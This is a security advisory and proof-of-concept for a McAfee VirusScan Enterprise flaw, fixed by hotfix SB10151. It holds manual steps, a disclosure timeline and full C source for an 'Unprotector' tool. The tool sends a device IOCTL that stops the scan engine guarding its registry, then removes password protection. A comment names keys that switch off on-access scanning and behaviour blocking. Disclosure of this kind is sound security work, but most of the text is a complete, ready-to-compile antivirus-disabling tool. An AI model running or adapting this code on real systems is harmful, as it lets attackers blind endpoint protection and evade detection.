||||||
|
- Type CTRL+L (show lower pane)
|
||||||
|
- Search for all "HKLM\SOFTWARE\McAfee\DesktopProtection" keys
|
||||||
|
- Close all the handles of this registry key
|
||||||
|
|
||||||
|
Go back to the McAfee Console and:
|
||||||
|
|
||||||
|
- Go to: Tools -> General Options
|
||||||
|
- Select the "Password Options" tab
|
||||||
|
- Select "No password" and apply settings
|
||||||
|
|
||||||
|
Now it is possible to stop the antivirus engine.
|
||||||
|
|
||||||
|
Example 2:
|
||||||
|
|
||||||
|
A specific tool has been written to request to disable password
|
||||||
|
protection. After running the tool you can disable it via the VirusScan
|
||||||
|
Console.
|
||||||
|
|
||||||
|
Code: http://lab.mediaservice.net/code/mcafee_unprotector.c
|
||||||
|
|
||||||
|
3. Affected Platforms.
|
||||||
|
|
||||||
|
All McAfee Viruscan Enterprise versions prior to 8.8 without SB10151 are
|
||||||
|
affected. Exploitation of this vulnerability requires that an attacker
|
||||||
|
has local Windows administrator privileges.
|
||||||
|
|
||||||
|
4. Fix.
|
||||||
|
|
||||||
|
On 25 February 2016, version SB10151 hotfix has been relased by McAfee,
|
||||||
|
which fixes the described vulnerability.
|
||||||
|
|
||||||
|
https://kc.mcafee.com/corporate/index?page=content&id=SB10151
|
||||||
|
|
||||||
|
5. Proof Of Concept.
|
||||||
|
|
||||||
|
See Example Attack Session above.
|
||||||
|
|
||||||
|
6. Timeline
|
||||||
|
|
||||||
|
07/11/2014 - First communication sent to McAfee
|
||||||
|
17/11/2014 - Second communication sent to McAfee
|
||||||
|
17/11/2014 - McAfee: Request to send again vulnerability information
|
||||||
|
18/11/2014 - Sent vulnerability information and PoC again
|
||||||
|
11/12/2014 - McAfee: Problem confirmed
|
||||||
|
09/03/2015 - Request for update to McAfee
|
||||||
|
06/05/2015 - Request for update to McAfee
|
||||||
|
06/05/2015 - McAfee: Patch release planned for Q3
|
||||||
|
20/08/2015 - McAfee: Request for deadline delay (31/03/2016)
|
||||||
|
25/02/2016 - McAfee: SB10151 patch has been relased
|
||||||
|
|
||||||
|
Copyright (c) 2014-2016 @ Mediaservice.net Srl. All rights reserved.
|
||||||
|
|
||||||
|
--
|
||||||
|
Maurizio Agazzini CISSP, CSSLP, OPST
|
||||||
|
Senior Security Advisor
|
||||||
|
@ Mediaservice.net Srl Tel: +39-011-32.72.100
|
||||||
|
Via Santorelli, 15 Fax: +39-011-32.46.497
|
||||||
|
10095 Grugliasco (TO) ITALY http://mediaservice.net/disclaimer
|
||||||
|
|
||||||
|
"C programmers never die. They are just cast into void"
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*****************************************************************************
|
||||||
|
* *
|
||||||
|
* McAfee Data Protector "Unprotector" *
|
||||||
|
* *
|
||||||
|
* A little tool to request McAfee scan engine to disable password *
|
||||||
|
* protection. *
|
||||||
|
* *
|
||||||
|
* Advisory: http://lab.mediaservice.net/advisory/2014-01-mcafee.txt *
|
||||||
|
* *
|
||||||
|
* This program can be compiled with MinGW (http://www.mingw.org/) *
|
||||||
|
* *
|
||||||
|
* Copyright (c) 2014 @ Mediaservice.net Srl. All rights reserved *
|
||||||
|
* Wrote by Maurizio Agazzini <inode[at]mediaservice.net> *
|
||||||
|
* *
|
||||||
|
* This program is free software; you can redistribute it and/or *
|
||||||
|
* modify it under the terms of the GNU General Public License *
|
||||||
|
* as published by the Free Software Foundation; either version 2 *
|
||||||
|
* of the License, or (at your option) any later version. *
|
||||||
|
* *
|
||||||
|
* This program is distributed in the hope that it will be useful, *
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
|
||||||
|
* GNU General Public License for more details. *
|
||||||
|
* *
|
||||||
|
* You should have received a copy of the GNU General Public License *
|
||||||
|
* along with this program; if not, write to the Free Software *
|
||||||
|
* Foundation, Inc., 59 Temple Place *
|
||||||
|
* Suite 330, Boston, MA 02111-1307, USA. *
|
||||||
|
* *
|
||||||
|
*****************************************************************************/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
HANDLE opendevice()
|
||||||
|
{
|
||||||
|
HANDLE result;
|
||||||
|
|
||||||
|
if((result = CreateFile("\\\\.\\WGUARDNT", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL)
|
||||||
|
if((result = CreateFile("\\\\.\\Global\\WGUARDNT", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL)
|
||||||
|
if((result = CreateFile("\\\\.\\WGUARDNT", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL)
|
||||||
|
if((result = CreateFile("\\\\.\\Global\\WGUARDNT", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL)
|
||||||
|
result = 0;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void main(int argc, char ** argv)
|
||||||
|
{
|
||||||
|
HKEY reg_key = NULL;
|
||||||
|
HANDLE p;
|
||||||
|
DWORD BytesReturned;
|
||||||
|
DWORD data = 0;
|
||||||
|
unsigned long size = 4;
|
||||||
|
DWORD type = REG_DWORD;
|
||||||
|
DWORD data1 = 0;
|
||||||
|
|
||||||
|
char status[4][70]= {
|
||||||
|
"No password",
|
||||||
|
"Password protection for all items listed",
|
||||||
|
"Password protection for the selected items",
|
||||||
|
"Password protection for conformance to Common Criteria"
|
||||||
|
};
|
||||||
|
|
||||||
|
printf("\n *******************************************\n");
|
||||||
|
printf(" * McAfee Desktop Protection \"Unprotector\" *\n");
|
||||||
|
printf(" *******************************************\n\n");
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The PoC use HKLM\SOFTWARE\McAfee\DesktopProtection\UIPMode registry key to
|
||||||
|
* disable the password protection, but you can also access to others useful
|
||||||
|
* keys.
|
||||||
|
*
|
||||||
|
* User Password
|
||||||
|
* HKLM\SOFTWARE\McAfee\DesktopProtection\UIP
|
||||||
|
* HKLM\SOFTWARE\McAfee\DesktopProtection\UIPEx
|
||||||
|
*
|
||||||
|
* Buffer protection
|
||||||
|
* HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\BehaviourBlocking\BOPEnabled
|
||||||
|
*
|
||||||
|
* Access protection
|
||||||
|
* HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\BehaviourBlocking\APEnabled
|
||||||
|
*
|
||||||
|
* On Access Scanner
|
||||||
|
* HKLM\SOFTWARE\McAfee\DesktopProtection\OASState
|
||||||
|
* HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\McShield\Configuration\OASEnabled
|
||||||
|
*
|
||||||
|
* Others
|
||||||
|
* HKLM\SOFTWARE\McAfee\SystemCore\VSCore\LockDownEnabled
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | 0x0200, ®_key) != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\\Wow6432Node\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | 0x0200, ®_key) != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
printf("Error opening registry key...\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check current status of McAfee protection
|
||||||
|
RegQueryValueEx(reg_key,"UIPMode",NULL, &type,(BYTE *)&data,&size);
|
||||||
|
|
||||||
|
printf(" [+] Current UIPMode = %d (%s)\n\n", data, status[data]);
|
||||||
|
|
||||||
|
RegCloseKey (reg_key);
|
||||||
|
|
||||||
|
// Open McAfee magic device
|
||||||
|
p = opendevice();
|
||||||
|
|
||||||
|
printf(" [-] Please John, let me write to your registry keys...");
|
||||||
|
|
||||||
|
// Request to the scan engine to stop protect registry keys
|
||||||
|
DeviceIoControl(p, 0x9EDB6510u, 0, 0, 0, 0, &BytesReturned, 0);
|
||||||
|
|
||||||
|
if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | KEY_SET_VALUE, ®_key) != ERROR_SUCCESS)
|
||||||
|
if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | KEY_SET_VALUE, ®_key) != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
printf(" hmmm hmmm something went wrong!\n\n");
|
||||||
|
printf(" [-] Ok John, take the control again!\n");
|
||||||
|
DeviceIoControl(p, 0x9EDB6514u, 0, 0, 0, 0, &BytesReturned, 0);
|
||||||
|
CloseHandle(p);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf(" OK\n");
|
||||||
|
data1 = 0;
|
||||||
|
|
||||||
|
if( argc > 1 )
|
||||||
|
data1 = atoi(argv[1]);
|
||||||
|
|
||||||
|
// Disable McAfee protection
|
||||||
|
if( RegSetValueEx(reg_key, "UIPMode", 0, REG_DWORD, (CONST BYTE *)&data1, sizeof(DWORD)) != ERROR_SUCCESS)
|
||||||
|
printf("\n hmmm hmmm something went wrong!\n");
|
||||||
|
else
|
||||||
|
printf("\n [+] Thank you! now we got the control! UIPMode = %d\n",data1);
|
||||||
|
|
||||||
|
RegCloseKey (reg_key);
|
||||||
|
|
||||||
|
printf("\n [+] Run \"%s %d\" to get original settings\n\n",argv[0],data);
|
||||||
|
|
||||||
|
// Tell to engine to take control again
|
||||||
|
printf(" [-] Ok John, take the control again!\n");
|
||||||
|
DeviceIoControl(p, 0x9EDB6514u, 0, 0, 0, 0, &BytesReturned, 0);
|
||||||
|
CloseHandle(p);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
Loading…
Add table
Reference in a new issue